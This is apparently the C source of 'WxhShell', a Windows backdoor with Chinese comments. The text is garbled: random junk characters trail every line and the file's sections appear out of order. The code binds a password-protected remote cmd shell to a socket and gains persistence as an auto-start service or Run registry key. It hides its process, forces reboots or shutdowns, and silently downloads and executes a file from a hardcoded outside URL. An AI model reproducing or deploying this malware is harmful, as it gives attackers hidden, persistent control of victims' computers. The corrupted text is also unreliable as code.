    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8/cX]J  
    if(Boot(SHUTDOWN)) 5Ln,{vsv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M FMs[+2_o  
    else { BwpqNQN  
    closesocket(wsh); 7S :\"A7  
    ExitThread(0); B dfwa  
    } xm~`7~nFR  
    break; An0|[uWH  
    } \?-<4Bc@  
  // 获取shell !>o7a}?  
  case 's': { T3<4B!UB&  
    CmdShell(wsh);  9Q.Yl&A  
    closesocket(wsh); AV]2 euyn  
    ExitThread(0); :eCwY  
    break; & J'idYD  
  } 3;9^  
  // 退出 Mfuv0P~  
  case 'x': { 4F:\-O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f'RX6$}\1X  
    CloseIt(wsh); eM6<%?b  
    break; Dml;#'IF3  
    } #:_Kws>+  
  // 离开 G~a ZJ,  
  case 'q': { Dx?,=~W9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JXQO~zj  
    closesocket(wsh); i&fuSk EP  
    WSACleanup(); &6!)jIWJ  
    exit(1);  8dA~\a  
    break; vI >w e  
        }  K5h  
  } *?vCC+c  
  } <n$'voR7]  
>]TWXmx/w  
  // 提示信息 9.-S(ZO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hi( ;;C9  
} 2F.;;Ab  
  } M7~2iU<#  
9cF[seE"0  
  return; IEi^kJflU  
} @S;'@VC  
LH% F 8  
// shell模块句柄 bAqA1y3=  
int CmdShell(SOCKET sock) 7JH6A'&  
{ </z Eg3F\  
STARTUPINFO si; #c!lS<z  
ZeroMemory(&si,sizeof(si)); 4+8@`f>s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U iW>J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /([kh~a  
PROCESS_INFORMATION ProcessInfo; C1)!f j=  
char cmdline[]="cmd"; #;e:A8IQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gwMNYMI  
  return 0; S=5o < 1  
} 5t]H?b8  
XRi8Gpg  
// 自身启动模式 V 5mTP'  
int StartFromService(void) u*`GiZAO  
{ )ez9"# MH'  
typedef struct wc4=VC"y  
{ DvvK^+-~  
  DWORD ExitStatus; /U9"wvg  
  DWORD PebBaseAddress; #"~<HG}bR/  
  DWORD AffinityMask; Fx.=#bVX7  
  DWORD BasePriority; #_p\Ie*rd  
  ULONG UniqueProcessId; (!WD1w   
  ULONG InheritedFromUniqueProcessId; nNn :-  
}   PROCESS_BASIC_INFORMATION; kffcm/  
~]2K ^bh8&  
PROCNTQSIP NtQueryInformationProcess; + ePS14G  
kxv1Hn"`{E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YaqJ,"GlT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F)eelPZ+,  
4V`G,W4^J  
  HANDLE             hProcess; G"t5nHY\.  
  PROCESS_BASIC_INFORMATION pbi; a:w#s}bL  
j#ab_3xH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^1];S^nD  
  if(NULL == hInst ) return 0; G 3ptx! D  
@ j/a=4o[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <LiPEo.R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #ABZ&Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tR$NRMZ.  
:V||c5B+  
  if (!NtQueryInformationProcess) return 0; (4nq>;$3  
ckCE1e>s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D0f]$  
  if(!hProcess) return 0; J|73.&B  
y:uE3Apm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gB33?  
;$g?T~v7  
  CloseHandle(hProcess); V'gh 6`v  
5{,<j\#L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r~['VhI!;E  
if(hProcess==NULL) return 0; sW\!hW1*x  
S_H+WfIHV'  
HMODULE hMod; RViAwTvY  
char procName[255]; 8}:nGK|kx  
unsigned long cbNeeded; h<QY5=S F  
V0mn4sfs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ny/MJ#Lq  
*vMn$,^0h9  
  CloseHandle(hProcess); )^hbsMhO  
#RLt^$!H  
if(strstr(procName,"services")) return 1; // 以服务启动 J{G?-+`  
@H8EWTZ  
  return 0; // 注册表启动 s eJ^s@H5l  
} {' H(g[k  
:ShT|n7  
// 主模块 jPkn[W# 6  
int StartWxhshell(LPSTR lpCmdLine) 8z\xrY  
{ j?QDR  
  SOCKET wsl; J'r^/  
BOOL val=TRUE; 8u]2xB=K  
  int port=0; F!K>Kz  
  struct sockaddr_in door; lyhiFkO iH  
\i &<s;  
  if(wscfg.ws_autoins) Install(); COlaD"Y  
Z;"vW!%d  
port=atoi(lpCmdLine); f|(M.U-  
6Kz,{F@  
if(port<=0) port=wscfg.ws_port; I]q% 2ie  
K*dCc}:`  
  WSADATA data; \|[;Z"4l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A3*!"3nU  
 %;!.n{X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qqU 64E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hi[pVk~B)  
  door.sin_family = AF_INET; 5!9zI+S|=`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Flb&B1  
  door.sin_port = htons(port); xgtR6E^k  
yB6?`3A:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8q7b_Pq1U  
closesocket(wsl); &)<)^.@3G^  
return 1; Wc 'H  
} 93hxSRw  
RD&PDXT4  
  if(listen(wsl,2) == INVALID_SOCKET) { m#p'iU*va,  
closesocket(wsl); 9N3eN  
return 1; |ENh)M8}r  
} }ad|g6i`  
  Wxhshell(wsl); (7*}-Uy[C  
  WSACleanup(); FN73+-:n:j  
|Q>IrT  
return 0; 3;Fhg!Z O  
E_LN]v  
} T[j,UkgGo  
9_s`{(0?  
// 以NT服务方式启动 D1;QC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ikOb8 G#  
{ >o,TZc\  
DWORD   status = 0; qIqM{#' ^  
  DWORD   specificError = 0xfffffff; bN@ l?w  
)dSi/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PFK  '$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T]p-0?=4vv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uW3!Yg@  
  serviceStatus.dwWin32ExitCode     = 0; p D+k*  
  serviceStatus.dwServiceSpecificExitCode = 0; OZ!^ak  
  serviceStatus.dwCheckPoint       = 0; Sa5G.^ XI  
  serviceStatus.dwWaitHint       = 0; )\^-2[;  
$, '*f?d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \uMLY<]P  
  if (hServiceStatusHandle==0) return; N}YkMJy  
TuqH*{NNy9  
status = GetLastError(); FC"8#*x  
  if (status!=NO_ERROR) :eLVC7'  
{ wec)Ctj+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lb1Xsgm{  
    serviceStatus.dwCheckPoint       = 0; 5*D/%]YsD  
    serviceStatus.dwWaitHint       = 0; 2GStN74Xr  
    serviceStatus.dwWin32ExitCode     = status; "C3/T&F  
    serviceStatus.dwServiceSpecificExitCode = specificError; Mb7I[5v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >-{Hyx  
    return; !0E&@X:-  
  } WOf 4o  
4v|W-h"K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u> / TE  
  serviceStatus.dwCheckPoint       = 0; 61 ~upQaR  
  serviceStatus.dwWaitHint       = 0; }4S6Xe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;6hOx(>`=  
} Dn}Jxu'(  
2dgd~   
// 处理NT服务事件,比如:启动、停止 4nz35BLr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C2)2)  
{ YT8F#t8  
switch(fdwControl) c6/=Gq{.  
{ sUm'  
case SERVICE_CONTROL_STOP: W+1^4::+  
  serviceStatus.dwWin32ExitCode = 0; r!{Up7uL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FU<Jp3<%  
  serviceStatus.dwCheckPoint   = 0; 7vj2 `+r.  
  serviceStatus.dwWaitHint     = 0; dGTsc/$  
  { :p6M=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O<W_fx8_'  
  } -s'-eQF J  
  return; mlS$>O_aX  
case SERVICE_CONTROL_PAUSE: ?b5 ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !$>R j  
  break; -n5)w*b,  
case SERVICE_CONTROL_CONTINUE: VOh4#%Vj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $, fX:x  
  break; EDs\,f}  
case SERVICE_CONTROL_INTERROGATE: _t}WsEQ+P  
  break; B4 8={  
}; ,wdD8ZT'Ip  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9@)O_@=  
} ##4HYQ%E  
t<?,F  
// 标准应用程序主函数 )sQ*Rd@t[8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -RK- Fu<e  
{ uhutg,[  
m<2M4u   
// 获取操作系统版本 Pd]|:W< E  
OsIsNt=GetOsVer(); LB?u8>a' I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %GIr&V4|  
`x%>8/  
  // 从命令行安装 "Os_vlapHo  
  if(strpbrk(lpCmdLine,"iI")) Install(); ps DetP  
Xm2z}X(%  
  // 下载执行文件 S?BG_J6A7  
if(wscfg.ws_downexe) { Yp2eBgo"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >~+ELVB&  
  WinExec(wscfg.ws_filenam,SW_HIDE); L\z~uo3:  
} K )k<Rh[<  
eO[b1]WLP  
if(!OsIsNt) { j^2j& Ta  
// 如果时win9x,隐藏进程并且设置为注册表启动 4]}'Hln*U  
HideProc(); t#eTV@-  
StartWxhshell(lpCmdLine); &~U ]~;@  
} 8Kk(8a&v  
else }?v )N).kW  
  if(StartFromService()) K@w{"7}  
  // 以服务方式启动 -!]ZMi9  
  StartServiceCtrlDispatcher(DispatchTable); ^@NU}S):yN  
else D*|Bb?  
  // 普通方式启动 D=&Me=$  
  StartWxhshell(lpCmdLine); ZO$%[ftb  
b<gr@WF  
return 0; YQA ,f#  
} Uq`'}Vo  
@cB$iP=Z4  
c6]D-YNF G  
Jo23P.#<  
=========================================== <0q;NrvUb  
W X6&oy>  
0'?L#K  
L4y4RG/SJ:  
T0rG M  
WaR`Kp+>  
" %FIE\9  
_b;{_g  
#include <stdio.h> y7Df_|Z  
#include <string.h> fkNbS  
#include <windows.h> e'D&8z_;  
#include <winsock2.h> I"7u2"@-8j  
#include <winsvc.h> bhlG,NTP  
#include <urlmon.h>  l"]}Ts#  
P3 ^Y"Pv?  
#pragma comment (lib, "Ws2_32.lib") w}cPs{Vi"  
#pragma comment (lib, "urlmon.lib") j]/RC(;?  
fMyti$1~  
#define MAX_USER   100 // 最大客户端连接数 m5Di=8  
#define BUF_SOCK   200 // sock buffer N7R!C)!IL  
#define KEY_BUFF   255 // 输入 buffer F6 flIG&h  
i5,kd~%O  
#define REBOOT     0   // 重启 y>e.~5;  
#define SHUTDOWN   1   // 关机 _[ZO p ~  
< F+l  
#define DEF_PORT   5000 // 监听端口 C/6V9;U  
8X)Y^uGGZ  
#define REG_LEN     16   // 注册表键长度 9o:Lz5 o  
#define SVC_LEN     80   // NT服务名长度 x0w4)Ic5  
j9+w#G]hV  
// 从dll定义API 161xAig  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >]5P 3\AQV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W#WVfr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sa;qW3dt3E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tS8u  
?o#%Xs  
// wxhshell配置信息 ?zHPJLv|Y  
struct WSCFG { /HRFAqep  
  int ws_port;         // 监听端口 n$,*|_$#  
  char ws_passstr[REG_LEN]; // 口令 E#t>Qn  
  int ws_autoins;       // 安装标记, 1=yes 0=no =]Jd9]vi  
  char ws_regname[REG_LEN]; // 注册表键名 _Qi&J.U>  
  char ws_svcname[REG_LEN]; // 服务名 *>qp:;,DKP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H@8sNV/u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gn".u!9j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ly3\e_z:G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HcSXsF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y,t={HiclX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,0HRAmG  
P:]^rke~&  
}; _?0}<k Q&  
Ob&<]  
// default Wxhshell configuration uw +M  
struct WSCFG wscfg={DEF_PORT, Qe0lBR?H  
    "xuhuanlingzhe", uT7B#b7  
    1, gz#i.-  
    "Wxhshell", q2:6QM&  
    "Wxhshell", h Pa_VrH  
            "WxhShell Service", I- >Ss},U  
    "Wrsky Windows CmdShell Service", qfRH5)k  
    "Please Input Your Password: ", 5 -RsnF  
  1, 6h,(wo3Y  
  "http://www.wrsky.com/wxhshell.exe", RMWHN:9  
  "Wxhshell.exe"   =`s!;  
    }; =uYYsC\T  
2/=l|!JKLz  
// 消息定义模块 cI?8RF(;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +jnJ|h({  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3/W'V,5G6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3c6b6  
char *msg_ws_ext="\n\rExit."; oij}'|/Jc  
char *msg_ws_end="\n\rQuit."; (uZ&V7l  
char *msg_ws_boot="\n\rReboot..."; wLJ:\_Jaf  
char *msg_ws_poff="\n\rShutdown..."; "J8vjr1/  
char *msg_ws_down="\n\rSave to "; 0Bi.6r  
 e5*hE  
char *msg_ws_err="\n\rErr!"; 7f!YoW;1  
char *msg_ws_ok="\n\rOK!"; ^mO~ W!"  
V"G*N<q  
char ExeFile[MAX_PATH]; KP5C} ZK+s  
int nUser = 0; ?8Z0Gqt74  
HANDLE handles[MAX_USER]; .-oxb,/  
int OsIsNt; ^pF&` 2eD  
OGg>#vj,s  
SERVICE_STATUS       serviceStatus; =Bhe'.]QSx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w\i\Wp,FP  
qjdMqoOCjl  
// 函数声明 8sTp`}54 J  
int Install(void); v8[I 8{41  
int Uninstall(void); n+q!l&&  
int DownloadFile(char *sURL, SOCKET wsh); q[W 0 N >  
int Boot(int flag); cir$voL  
void HideProc(void); jiS_G%G  
int GetOsVer(void); D"rK(  
int Wxhshell(SOCKET wsl); *><F'   
void TalkWithClient(void *cs); "haL  
int CmdShell(SOCKET sock); vyX\'r.~7  
int StartFromService(void); se>8Z4  
int StartWxhshell(LPSTR lpCmdLine); h!.^?NF  
`e|0g"oP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iwp{%FF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xLWw YK  
*|>d  
// 数据结构和表定义 fW3(&@  
SERVICE_TABLE_ENTRY DispatchTable[] = 9c#+qH  
{ BJsz2t :0  
{wscfg.ws_svcname, NTServiceMain}, pg.ri64H<  
{NULL, NULL} UT=tT )4b  
}; F{Jw ^\  
N OiN^::m  
// 自我安装 ,p2s:&"  
int Install(void) KgiJUO`PR  
{ Yu[ t\/  
  char svExeFile[MAX_PATH]; f~y%%+{p  
  HKEY key; >x+6{^}Q>  
  strcpy(svExeFile,ExeFile); o` ZQd,3  
Avd ^  
// 如果是win9x系统,修改注册表设为自启动 )d1_Wm#B  
if(!OsIsNt) { ,PuL{%PXu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bE#,=OI$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )ufg9"\  
  RegCloseKey(key); luuX2Mx>o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "2P&X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WEQ1 Seq  
  RegCloseKey(key); +HeTtFo{M  
  return 0; /F-qP.<D,r  
    } ;":zkb{  
  } */|lJm'R  
} 5JCG2jqx0  
else { y8L D7<1u  
wrbLDod /  
// 如果是NT以上系统,安装为系统服务 PMh^(j[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m-*i>4;  
if (schSCManager!=0) ];a=Pn-:}G  
{ l@H  
  SC_HANDLE schService = CreateService @}OL9Ch  
  ( EB=-H#  
  schSCManager, jN>{'TqW4  
  wscfg.ws_svcname, D@|W<i-  
  wscfg.ws_svcdisp, jR2 2t`4  
  SERVICE_ALL_ACCESS, ^ZhG>L*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GCX G/k?w:  
  SERVICE_AUTO_START, E4W -hq~  
  SERVICE_ERROR_NORMAL, 2FF4W54I  
  svExeFile, 8:>1F,  
  NULL, OjF_ %5  
  NULL, Ib\iT:AJ  
  NULL, YN2sd G  
  NULL, wztA3ZL*W1  
  NULL H!nr^l'+  
  ); `m>*d!h=  
  if (schService!=0) :x{NBvUIc  
  { S\5bmvqP"  
  CloseServiceHandle(schService); oA7;.:3  
  CloseServiceHandle(schSCManager); V7[zAq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); , GY h9  
  strcat(svExeFile,wscfg.ws_svcname); 3k# /{Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }YMy6eW4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J(%0z:exs  
  RegCloseKey(key); \"^w'ng  
  return 0; =fve/_Q~  
    } sqJSSNt  
  } \ 3?LqJ  
  CloseServiceHandle(schSCManager); U,gti,IX^  
} P h}|dGb  
} %D8ZO0J7H  
7L@K _ZJ  
return 1; M^iU;vo  
} RIE5KCrGB  
iz?tu: \v&  
// 自我卸载 /yF QeE  
int Uninstall(void) 2Sp=rI  
{ pN9A{v(  
  HKEY key; xw T%),  
M57T2]8,  
if(!OsIsNt) { w{uuSe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T2Y,U {  
  RegDeleteValue(key,wscfg.ws_regname); gO,25::")  
  RegCloseKey(key); xY U.D+RY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )h|gwERj  
  RegDeleteValue(key,wscfg.ws_regname); {]_r W/  
  RegCloseKey(key); no] z1D  
  return 0; %]6~Eq%s  
  } z$GoaS(  
} K+8-9$w6  
} i|}[A  
else { 13%t"-@bh  
9,_mS{+B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B`o]*"xkB  
if (schSCManager!=0) S:q3QgU=X  
{ 6,LubZFD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'GoZqiYT  
  if (schService!=0) f7~9|w&  
  { lGk{LO)  
  if(DeleteService(schService)!=0) { ?wF'<kEH  
  CloseServiceHandle(schService); +1!qs,  
  CloseServiceHandle(schSCManager); "+ >SJ~  
  return 0; qYf |Gv  
  } ;w-qHha  
  CloseServiceHandle(schService); M$d%p6Cv  
  } RUUk f({(  
  CloseServiceHandle(schSCManager); 80Y\|)  
} )r z+'|,  
} ^1x*lLf  
P"?FnTbv[  
return 1; N0w`!<y:c  
} HCJ>X;(`f?  
f%)zg(YlO  
// 从指定url下载文件 $GQ-(/  
int DownloadFile(char *sURL, SOCKET wsh) c8M2 ^{O,`  
{ aJe^Tp(  
  HRESULT hr;  ^eGNgE  
char seps[]= "/"; CWG6;NT6m  
char *token; wHv]ViNvXE  
char *file; 3bd5FsI^pU  
char myURL[MAX_PATH]; \U?n+6 7g  
char myFILE[MAX_PATH]; 1 s*.A6EP"  
je4w=]JV  
strcpy(myURL,sURL); @a>2c$%  
  token=strtok(myURL,seps); GF:`>u{C  
  while(token!=NULL) @@g\2Gs  
  { y"<))-MH  
    file=token; 8?O>ZZtu  
  token=strtok(NULL,seps); P;8>5;U4-  
  } Enq|Y$qm  
T<joR R  
GetCurrentDirectory(MAX_PATH,myFILE); 0T5=W U  
strcat(myFILE, "\\"); 0hn-FH-XE  
strcat(myFILE, file); Q2];RS3.  
  send(wsh,myFILE,strlen(myFILE),0); qcJft'>F  
send(wsh,"...",3,0); Op? OruT[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ow;R$5G  
  if(hr==S_OK) *P!e:Tm)  
return 0; 3!o4)yJWx  
else $ RwB_F  
return 1; oi&Wo'DX  
u@P[Vb   
} >A q870n  
EIbXmkHl<  
// 系统电源模块 BtdXv4V  
int Boot(int flag) sz):oea@f@  
{ 7"*|2Xq  
  HANDLE hToken; \mN[gT}LHm  
  TOKEN_PRIVILEGES tkp; HygY>s+3[  
DtWwG C  
  if(OsIsNt) { 0g<K[mPr7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uw7{>9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -g/hAxb5  
    tkp.PrivilegeCount = 1; qxJQPz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9H]Lpi^OH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =}fd6ea(o  
if(flag==REBOOT) { w$5A|%Y+V}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PS" .R_"  
  return 0; wFIh6[3  
} KZ:8[d  
else { /<3<. ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) geefnb  
  return 0; l  n }}5Q  
} "%QD{z_L  
  } Y ?r po  
  else { v)kEyX'K2d  
if(flag==REBOOT) { aSYs_?&.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zMK](o1Vj  
  return 0; &MgeYpd  
} \hP=-J[~C  
else { jN+N(pIi.o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 68'>Zbelb  
  return 0; 7C?.L70ZY  
} 3%<C<(  
} MuEy>dl  
L1)@z8]   
return 1; tue/4Q#7  
} nxap\Lf  
n1:v HBM@\  
// win9x进程隐藏模块 Er:?M_ev  
void HideProc(void) {sv{847V  
{ dd7 =)XT+  
B7-RU<n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j%*7feSNC  
  if ( hKernel != NULL ) w.+Eyu_I\  
  { 4R) |->"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "] -],K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4DO/rtkVq  
    FreeLibrary(hKernel); H.O(*Q=  
  } Hwe)Tsh e  
{R&ZqEo'D  
return; jV7&Y.$zF]  
} PG)_L.7rJ  
; a/cty0Ch  
// 获取操作系统版本  8R69q:  
int GetOsVer(void) XqR{.jF.  
{ "t&{yBQ0u  
  OSVERSIONINFO winfo; 76#.F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); < 3 j~=-  
  GetVersionEx(&winfo); ~j,TVY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ZQCIS-R  
  return 1; ?Nl"sVCo  
  else abY0)t  
  return 0; de-0?6  
} ,\h YEup  
/?zW<QUI  
// 客户端句柄模块 iM64,wnA  
int Wxhshell(SOCKET wsl) .:;fAJPf  
{ `.k5v7!o  
  SOCKET wsh; o|2 87S|$  
  struct sockaddr_in client; C?Qf F{!7  
  DWORD myID; t,vTAq.))  
2%]hYr;  
  while(nUser<MAX_USER) coB6 rW  
{ x|apQ6  
  int nSize=sizeof(client); 3GmK3uM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^)cM&Bx t%  
  if(wsh==INVALID_SOCKET) return 1; hBCR]=']  
GMFc K=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s%dF~DSK  
if(handles[nUser]==0) ehc<|O9tY  
  closesocket(wsh); C"T ,MH  
else '}O!2W&Y]%  
  nUser++; PF ;YE6  
  } |qL;Nu,d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FH n,]Tfx  
^L~ [+|  
  return 0; o?R,0 -  
} Ry%YM,K3  
l/V&s<  
// 关闭 socket gv` h-b  
void CloseIt(SOCKET wsh) |z7dRDU}]  
{ c=t*I0-OVS  
closesocket(wsh); 8D~Dd!~P  
nUser--; &y3B)#dIJ  
ExitThread(0);  $o+&Y5:  
} `p"U  
CSL4P)  
// 客户端请求句柄 *!u?  
void TalkWithClient(void *cs) Rc7.M"wzjX  
{ mahi7eU P  
m0iV m|  
  SOCKET wsh=(SOCKET)cs; By/bVZks  
  char pwd[SVC_LEN]; Pt3[|4L  
  char cmd[KEY_BUFF]; `Wwh`]#"~d  
char chr[1]; 3GWrn ,f  
int i,j; u@"o[e':  
ty;o&w$  
  while (nUser < MAX_USER) { aT/KT,!  
 ,(hY%M&\  
if(wscfg.ws_passstr) { KS>Fl->  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pFH?/D/q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L9'-  
  //ZeroMemory(pwd,KEY_BUFF); cd"wNH-  
      i=0; 2 TCRS#z  
  while(i<SVC_LEN) { 5fxbA2\  
$WD +Q@6  
  // 设置超时 ?hSha)1:  
  fd_set FdRead; WA$ p_% r=  
  struct timeval TimeOut; & ^!v*=z  
  FD_ZERO(&FdRead); y%g`FC   
  FD_SET(wsh,&FdRead); ;G$)MS'nB  
  TimeOut.tv_sec=8; 9l=Fv6  
  TimeOut.tv_usec=0; <d<RK@2-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9_` 3IJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :,=Fx</H  
'!j(u@&!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >?Qxpqf2  
  pwd=chr[0]; Gm*Uv6?H?  
  if(chr[0]==0xd || chr[0]==0xa) { 7#/|VQX<A  
  pwd=0; Dpp@*xX>  
  break; /op/g]O}  
  } 8ok7|DJ  
  i++; k%a?SU<f  
    } u> In(7\  
-&~IOqlui  
  // 如果是非法用户,关闭 socket (HaU,vP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :EaiM J_=  
} QZ9M{Y/  
[@s=J)H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {9,R@>R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Qb>:  
FRD<0o/`  
while(1) { #s/{u RYQ  
)[RpZpd`*  
  ZeroMemory(cmd,KEY_BUFF); G:){^Z?  
CYMM*4#  
      // 自动支持客户端 telnet标准   @<%oIE~]F  
  j=0; DD)mN) &T  
  while(j<KEY_BUFF) { olslzXn7o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %!#rrt,F  
  cmd[j]=chr[0]; MgSp.<!  
  if(chr[0]==0xa || chr[0]==0xd) { U &f#V=Rg  
  cmd[j]=0; @b>YkJDk  
  break; q 8tP29  
  } {!>E9Px  
  j++; =54Vs8.  
    } T\.7f~3  
" Tw0a!  
  // 下载文件 e*6U |+kJ  
  if(strstr(cmd,"http://")) { +KYxw^k}"7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Udg & eEF  
  if(DownloadFile(cmd,wsh)) /6A:J]Q_  
